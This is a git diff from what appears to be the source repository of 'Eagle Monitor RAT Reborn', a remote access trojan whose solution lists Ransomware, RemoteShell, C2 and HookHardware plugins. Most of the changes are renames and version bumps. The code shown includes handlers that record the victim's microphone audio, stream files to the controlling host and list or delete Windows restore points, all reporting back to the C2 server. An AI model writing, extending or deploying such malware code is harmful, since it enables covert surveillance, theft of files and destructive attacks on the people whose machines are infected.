--- a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt
@@ -60,6 +60,8 @@ F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle
F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache
F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete
F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn (x64).exe
+F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe.config
+E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe.config
E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe
E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache
E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache
@@ -72,5 +74,3 @@ E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle
E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache
E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete
E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn (x64).exe
-E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe.config
-F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe.config
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.GenerateResource.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.GenerateResource.cache
index 2509130b..ee23c185 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.GenerateResource.cache and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.GenerateResource.cache differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle_Monitor_RAT_Reborn.Properties.Resources.resources b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle_Monitor_RAT_Reborn.Properties.Resources.resources
index 55d69e62..22b6128c 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle_Monitor_RAT_Reborn.Properties.Resources.resources and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle_Monitor_RAT_Reborn.Properties.Resources.resources differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/TempPE/Properties.Resources.Designer.cs.dll b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/TempPE/Properties.Resources.Designer.cs.dll
index 05d8008e..5d1a9c34 100644
Binary files a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/TempPE/Properties.Resources.Designer.cs.dll and b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/TempPE/Properties.Resources.Designer.cs.dll differ
diff --git a/Remote Access Tool/Eagle Monitor RAT.sln b/Remote Access Tool/Eagle Monitor RAT.sln
index 67058ce6..567dd6d3 100644
--- a/Remote Access Tool/Eagle Monitor RAT.sln
+++ b/Remote Access Tool/Eagle Monitor RAT.sln
@@ -43,14 +43,14 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Ransomware", "Plugins\Ranso
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "ClientOptions", "ClientOptions", "{AFC1D5E4-E5FC-478E-8D0C-6065C6F1B5EF}"
EndProject
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "C2", "C2\C2.csproj", "{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}"
-EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HookHardware", "Utils\HookHardware\HookHardware.csproj", "{64C6E036-FF80-4F45-87F6-0A9996131FA1}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PacketLib", "Utils\PacketLib\PacketLib.csproj", "{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteShell", "Plugins\RemoteShell\RemoteShell.csproj", "{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}"
EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "C2", "C2\C2.csproj", "{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}"
+EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
@@ -203,14 +203,6 @@ Global
{150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|Any CPU.Build.0 = Release|Any CPU
{150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|x64.ActiveCfg = Release|Any CPU
{150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|x64.Build.0 = Release|Any CPU
- {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|x64.ActiveCfg = Debug|Any CPU
- {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|x64.Build.0 = Debug|Any CPU
- {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|Any CPU.Build.0 = Release|Any CPU
- {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|x64.ActiveCfg = Release|Any CPU
- {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|x64.Build.0 = Release|Any CPU
{64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|Any CPU.Build.0 = Debug|Any CPU
{64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|x64.ActiveCfg = Debug|Any CPU
@@ -235,6 +227,14 @@ Global
{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|Any CPU.Build.0 = Release|Any CPU
{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|x64.ActiveCfg = Release|Any CPU
{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|x64.Build.0 = Release|Any CPU
+ {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|x64.ActiveCfg = Debug|Any CPU
+ {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|x64.Build.0 = Debug|Any CPU
+ {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|Any CPU.Build.0 = Release|Any CPU
+ {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|x64.ActiveCfg = Release|Any CPU
+ {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|x64.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
diff --git a/Remote Access Tool/Plugins/Admin/ClientHandler.cs b/Remote Access Tool/Plugins/Admin/ClientHandler.cs
index 7f907d27..63930443 100644
--- a/Remote Access Tool/Plugins/Admin/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/Admin/ClientHandler.cs
@@ -86,7 +86,7 @@ private int SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
diff --git a/Remote Access Tool/Plugins/Admin/Launch.cs b/Remote Access Tool/Plugins/Admin/Launch.cs
index 4722e53e..939bfdc4 100644
--- a/Remote Access Tool/Plugins/Admin/Launch.cs
+++ b/Remote Access Tool/Plugins/Admin/Launch.cs
@@ -14,16 +14,16 @@ public static class Launch
{
public static void Main(LoadingAPI loadingAPI)
{
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.UAC_GET_RESTORE_POINT:
- RestorePointPacket restorePointPacket = new RestorePointPacket(GetRestorePoints.GetAllRestorePoints(), loadingAPI.baseIp, loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key, restorePointPacket);
+ RestorePointPacket restorePointPacket = new RestorePointPacket(GetRestorePoints.GetAllRestorePoints(), loadingAPI.BaseIp, loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, restorePointPacket);
break;
case PacketType.UAC_DELETE_RESTORE_POINT:
- DeleteRestorePointPacket deleteRestorePoint = new DeleteRestorePointPacket(((DeleteRestorePointPacket)loadingAPI.currentPacket).index, DeleteRestorePoint.DeleteARestorePoint(((DeleteRestorePointPacket)loadingAPI.currentPacket).index), loadingAPI.baseIp, loadingAPI.HWID);
- ClientSender(loadingAPI.host, loadingAPI.key, deleteRestorePoint);
+ DeleteRestorePointPacket deleteRestorePoint = new DeleteRestorePointPacket(((DeleteRestorePointPacket)loadingAPI.CurrentPacket).index, DeleteRestorePoint.DeleteARestorePoint(((DeleteRestorePointPacket)loadingAPI.CurrentPacket).index), loadingAPI.BaseIp, loadingAPI.HWID);
+ ClientSender(loadingAPI.Host, loadingAPI.Key, deleteRestorePoint);
break;
default:
diff --git a/Remote Access Tool/Plugins/Admin/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Admin/Properties/AssemblyInfo.cs
index e53f56f8..feab0897 100644
--- a/Remote Access Tool/Plugins/Admin/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/Admin/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.AssemblyReference.cache
index afe48655..fb80ff35 100644
Binary files a/Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.CoreCompileInputs.cache
index c4aa8d4b..17bbb1f0 100644
--- a/Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-a984338e9859fd827fc47398a2d8f3005d143515
+4ee5c2280743eda022ac97128be5c0eb59bb9ef2
diff --git a/Remote Access Tool/Plugins/Admin/obj/Release/Admin.dll b/Remote Access Tool/Plugins/Admin/obj/Release/Admin.dll
index fb0ea72f..c2de99de 100644
Binary files a/Remote Access Tool/Plugins/Admin/obj/Release/Admin.dll and b/Remote Access Tool/Plugins/Admin/obj/Release/Admin.dll differ
diff --git a/Remote Access Tool/Plugins/AudioRecording/ClientHandler.cs b/Remote Access Tool/Plugins/AudioRecording/ClientHandler.cs
index bb8c23cc..a2e25606 100644
--- a/Remote Access Tool/Plugins/AudioRecording/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/AudioRecording/ClientHandler.cs
@@ -158,7 +158,7 @@ public void EndPacketRead(IAsyncResult ar)
public void ParsePacket(IPacket packet)
{
- switch (packet.packetType)
+ switch (packet.PacketType)
{
case PacketType.AUDIO_RECORD_ON:
Launch.remoteAudioCapturePacket = (RemoteAudioCapturePacket)packet;
@@ -194,7 +194,7 @@ private PacketType SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
@@ -232,7 +232,7 @@ private PacketType SendData(IPacket data)
Connected = false;
}
}
- return data.packetType;
+ return data.PacketType;
}
private void SendDataCompleted(IAsyncResult ar)
{
diff --git a/Remote Access Tool/Plugins/AudioRecording/Helpers.cs b/Remote Access Tool/Plugins/AudioRecording/Helpers.cs
index 1741716a..5a7857e2 100644
--- a/Remote Access Tool/Plugins/AudioRecording/Helpers.cs
+++ b/Remote Access Tool/Plugins/AudioRecording/Helpers.cs
@@ -47,7 +47,7 @@ private static void WaveDataAvailable(object sender, WaveInEventArgs e)
{
RemoteAudioCapturePacket remoteAudioCapturePacket = new RemoteAudioCapturePacket(e.Buffer, e.BytesRecorded)
{
- baseIp = Launch.clientHandler.baseIp,
+ BaseIp = Launch.clientHandler.baseIp,
HWID = Launch.clientHandler.HWID
};
Launch.clientHandler.SendPacket(remoteAudioCapturePacket);
diff --git a/Remote Access Tool/Plugins/AudioRecording/Launch.cs b/Remote Access Tool/Plugins/AudioRecording/Launch.cs
index f0c2ebab..2aded5f1 100644
--- a/Remote Access Tool/Plugins/AudioRecording/Launch.cs
+++ b/Remote Access Tool/Plugins/AudioRecording/Launch.cs
@@ -19,12 +19,12 @@ public static void Main(LoadingAPI loadingAPI)
{
audioCapture = false;
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.AUDIO_GET_DEVICES:
- ClientHandler clientHandlerGetAudioDevices = new ClientHandler(loadingAPI.host, loadingAPI.key, loadingAPI.baseIp, loadingAPI.HWID);
+ ClientHandler clientHandlerGetAudioDevices = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID);
clientHandlerGetAudioDevices.ConnectStart();
- RemoteAudioPacket remoteAudioPacket = new RemoteAudioPacket(GetDevices.GetAudioDevices(), loadingAPI.baseIp, loadingAPI.HWID);
+ RemoteAudioPacket remoteAudioPacket = new RemoteAudioPacket(GetDevices.GetAudioDevices(), loadingAPI.BaseIp, loadingAPI.HWID);
while (!clientHandlerGetAudioDevices.Connected)
Thread.Sleep(125);
clientHandlerGetAudioDevices.SendPacket(remoteAudioPacket);
@@ -32,8 +32,8 @@ public static void Main(LoadingAPI loadingAPI)
case PacketType.AUDIO_RECORD_ON:
audioCapture = true;
- remoteAudioCapturePacket = (RemoteAudioCapturePacket)loadingAPI.currentPacket;
- clientHandler = new ClientHandler(loadingAPI.host, loadingAPI.key, loadingAPI.baseIp, loadingAPI.HWID);
+ remoteAudioCapturePacket = (RemoteAudioCapturePacket)loadingAPI.CurrentPacket;
+ clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID);
clientHandler.ConnectStart();
break;
diff --git a/Remote Access Tool/Plugins/AudioRecording/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/AudioRecording/Properties/AssemblyInfo.cs
index 447c5813..bf775f01 100644
--- a/Remote Access Tool/Plugins/AudioRecording/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/AudioRecording/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.AssemblyReference.cache
index 2a41df97..cc6807bd 100644
Binary files a/Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.CoreCompileInputs.cache
index e6e7b57d..c62c7749 100644
--- a/Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-ccbbfa1098bd2f5998e5b62a94c542c84b99d334
+d2c9222f4c0e6fcd2ddadb30cdd6258ada8fec3b
diff --git a/Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.dll b/Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.dll
index 2a8cbec2..5e95295e 100644
Binary files a/Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.dll and b/Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.dll differ
diff --git a/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..d9d581db
Binary files /dev/null and b/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..e3d87839
Binary files /dev/null and b/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..1de34303
Binary files /dev/null and b/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Chat/ChatForm.cs b/Remote Access Tool/Plugins/Chat/ChatForm.cs
index dd904203..99962417 100644
--- a/Remote Access Tool/Plugins/Chat/ChatForm.cs
+++ b/Remote Access Tool/Plugins/Chat/ChatForm.cs
@@ -166,7 +166,7 @@ private void ChatForm_Shown(object sender, EventArgs e)
this.msgRichTextBox.AppendText("You : Connected !" + "\n");
RemoteChatPacket chatPacket = new RemoteChatPacket("User : Connected !" + "\n");
- chatPacket.baseIp = Launch.clientHandler.baseIp;
+ chatPacket.BaseIp = Launch.clientHandler.baseIp;
chatPacket.HWID = Launch.clientHandler.HWID;
this.msgRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245);
Launch.clientHandler.SendPacket(chatPacket);
@@ -177,7 +177,7 @@ private void sendMsgGuna2Button_Click(object sender, EventArgs e)
this.msgRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245);
this.msgRichTextBox.AppendText($"You : {messageGuna2TextBox.Text}" + "\n");
RemoteChatPacket chatPacket = new RemoteChatPacket($"User : {messageGuna2TextBox.Text}" + "\n");
- chatPacket.baseIp = Launch.clientHandler.baseIp;
+ chatPacket.BaseIp = Launch.clientHandler.baseIp;
chatPacket.HWID = Launch.clientHandler.HWID;
this.msgRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245);
Launch.clientHandler.SendPacket(chatPacket);
diff --git a/Remote Access Tool/Plugins/Chat/ClientHandler.cs b/Remote Access Tool/Plugins/Chat/ClientHandler.cs
index 6f6d4751..a9f9fbb8 100644
--- a/Remote Access Tool/Plugins/Chat/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/Chat/ClientHandler.cs
@@ -158,7 +158,7 @@ public void EndPacketRead(IAsyncResult ar)
public void ParsePacket(IPacket packet)
{
- switch (packet.packetType)
+ switch (packet.PacketType)
{
case PacketType.CHAT_ON:
RemoteChatPacket chatPacket = (RemoteChatPacket)packet;
@@ -197,7 +197,7 @@ private int SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
diff --git a/Remote Access Tool/Plugins/Chat/Launch.cs b/Remote Access Tool/Plugins/Chat/Launch.cs
index ee43f038..9080d31a 100644
--- a/Remote Access Tool/Plugins/Chat/Launch.cs
+++ b/Remote Access Tool/Plugins/Chat/Launch.cs
@@ -20,10 +20,10 @@ public static class Launch
public static void Main(LoadingAPI loadingAPI)
{
- switch (loadingAPI.currentPacket.packetType)
+ switch (loadingAPI.CurrentPacket.PacketType)
{
case PacketType.CHAT_ON:
- clientHandler = new ClientHandler(loadingAPI.host, loadingAPI.key, loadingAPI.baseIp, loadingAPI.HWID);
+ clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID);
clientHandler.ConnectStart();
while (clientHandler.Connected == false)
diff --git a/Remote Access Tool/Plugins/Chat/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Chat/Properties/AssemblyInfo.cs
index 93008149..589f5d8d 100644
--- a/Remote Access Tool/Plugins/Chat/Properties/AssemblyInfo.cs
+++ b/Remote Access Tool/Plugins/Chat/Properties/AssemblyInfo.cs
@@ -32,5 +32,5 @@
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
-[assembly: AssemblyVersion("3.2.3.0")]
-[assembly: AssemblyFileVersion("3.2.3.0")]
+[assembly: AssemblyVersion("3.2.4.0")]
+[assembly: AssemblyFileVersion("3.2.4.0")]
diff --git a/Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.AssemblyReference.cache
index 990100ae..95eaae8a 100644
Binary files a/Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.AssemblyReference.cache and b/Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.CoreCompileInputs.cache
index a6cd56a6..f9f4d121 100644
--- a/Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-abdb6d28e8b6af081cd42e6b6a9a1ecc46ee41ca
+378fd228abd525a11ee370b3c55b543ffcd07053
diff --git a/Remote Access Tool/Plugins/Chat/obj/Release/Chat.dll b/Remote Access Tool/Plugins/Chat/obj/Release/Chat.dll
index 4850de7f..6c928d28 100644
Binary files a/Remote Access Tool/Plugins/Chat/obj/Release/Chat.dll and b/Remote Access Tool/Plugins/Chat/obj/Release/Chat.dll differ
diff --git a/Remote Access Tool/Plugins/Chat/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Chat/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..d9d581db
Binary files /dev/null and b/Remote Access Tool/Plugins/Chat/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Chat/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Chat/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..e3d87839
Binary files /dev/null and b/Remote Access Tool/Plugins/Chat/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Chat/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Chat/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed
new file mode 100644
index 00000000..1de34303
Binary files /dev/null and b/Remote Access Tool/Plugins/Chat/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed differ
diff --git a/Remote Access Tool/Plugins/Chat/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache b/Remote Access Tool/Plugins/Chat/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
index 69e3da55..e51113f0 100644
Binary files a/Remote Access Tool/Plugins/Chat/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache and b/Remote Access Tool/Plugins/Chat/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache differ
diff --git a/Remote Access Tool/Plugins/FileManager/ClientHandler.cs b/Remote Access Tool/Plugins/FileManager/ClientHandler.cs
index 6ccbff5d..aac75de1 100644
--- a/Remote Access Tool/Plugins/FileManager/ClientHandler.cs
+++ b/Remote Access Tool/Plugins/FileManager/ClientHandler.cs
@@ -90,7 +90,7 @@ private int SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
lock (socket)
{
diff --git a/Remote Access Tool/Plugins/FileManager/DownloadClientHandler.cs b/Remote Access Tool/Plugins/FileManager/DownloadClientHandler.cs
index 37cda1d2..87dd9092 100644
--- a/Remote Access Tool/Plugins/FileManager/DownloadClientHandler.cs
+++ b/Remote Access Tool/Plugins/FileManager/DownloadClientHandler.cs
@@ -62,7 +62,7 @@ private bool Connect()
{
socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
- socket.Connect(loadingAPI.host.host, loadingAPI.host.port);
+ socket.Connect(loadingAPI.Host.host, loadingAPI.Host.port);
return true;
}
catch { }
@@ -144,7 +144,7 @@ public void EndDataRead(IAsyncResult ar)
private IPacket PacketParser(byte[] BufferPacket)
{
- return BufferPacket.DeserializePacket(loadingAPI.key);
+ return BufferPacket.DeserializePacket(loadingAPI.Key);
}
public void EndPacketRead(IAsyncResult ar)
{
@@ -177,7 +177,7 @@ internal void StartSendingFile(string filePath)
while ((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0)
{
Thread.Sleep(100);
- DownloadFilePacket packetFile = new DownloadFilePacket(buffer, filePath, loadingAPI.baseIp, loadingAPI.HWID, this.fileTicket);
+ DownloadFilePacket packetFile = new DownloadFilePacket(buffer, filePath, loadingAPI.BaseIp, loadingAPI.HWID, this.fileTicket);
IAsyncResult ar = sendDataAsync.BeginInvoke(packetFile, null, null);
Thread.Sleep(75);
@@ -192,7 +192,7 @@ internal void StartSendingFile(string filePath)
{
buffer = new byte[totalSize];
source.Read(buffer, 0, buffer.Length);
- DownloadFilePacket packetFile = new DownloadFilePacket(buffer, filePath, loadingAPI.baseIp, loadingAPI.HWID, this.fileTicket);
+ DownloadFilePacket packetFile = new DownloadFilePacket(buffer, filePath, loadingAPI.BaseIp, loadingAPI.HWID, this.fileTicket);
IAsyncResult ar = sendDataAsync.BeginInvoke(packetFile, null, null);
int size = sendDataAsync.EndInvoke(ar);
}
